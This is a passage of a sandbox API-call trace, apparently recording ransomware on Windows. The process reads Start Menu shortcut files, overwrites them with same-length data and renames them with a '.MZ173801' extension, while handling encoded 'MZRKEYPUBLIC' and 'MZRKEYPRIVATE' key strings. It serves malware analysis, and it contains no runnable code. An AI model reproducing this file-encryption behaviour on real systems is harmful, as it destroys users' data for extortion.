lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.930] GetCurrentThreadId () returned 0xab4 [0212.930] GetCurrentThreadId () returned 0xab4 [0212.930] GetCurrentThreadId () returned 0xab4 [0212.930] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x482 [0212.931] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.931] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x482, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x482, lpOverlapped=0x0) returned 1 [0212.934] CloseHandle (hObject=0x330) returned 1 [0212.934] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.935] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x482, lpOverlapped=0x0) returned 1 [0212.936] CloseHandle (hObject=0x330) returned 1 [0212.936] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.mz173801")) returned 1 [0213.087] GetCurrentThreadId () returned 0xab4 [0213.087] GetCurrentThreadId () returned 0xab4 [0213.088] GetCurrentThreadId () returned 0xab4 [0213.088] GetCurrentThreadId () returned 0xab4 [0213.088] GetCurrentThreadId () returned 0xab4 [0213.088] GetCurrentThreadId () returned 0xab4 [0213.088] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96ce7e01, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 1 [0213.088] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.088] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.088] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96ce7e01, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462)) returned 1 [0213.088] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk")) returned 0x20 [0213.088] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk", dwFileAttributes=0x80) returned 1 [0213.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.091] GetCurrentThreadId () returned 0xab4 [0213.091] GetCurrentThreadId () returned 0xab4 [0213.091] GetCurrentThreadId () returned 0xab4 [0213.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.092] GetCurrentThreadId () returned 0xab4 [0213.092] GetCurrentThreadId () returned 0xab4 [0213.092] GetCurrentThreadId () returned 0xab4 [0213.092] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.092] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.092] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.092] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x462 [0213.092] SetFilePointer (in: hFile=0x330, 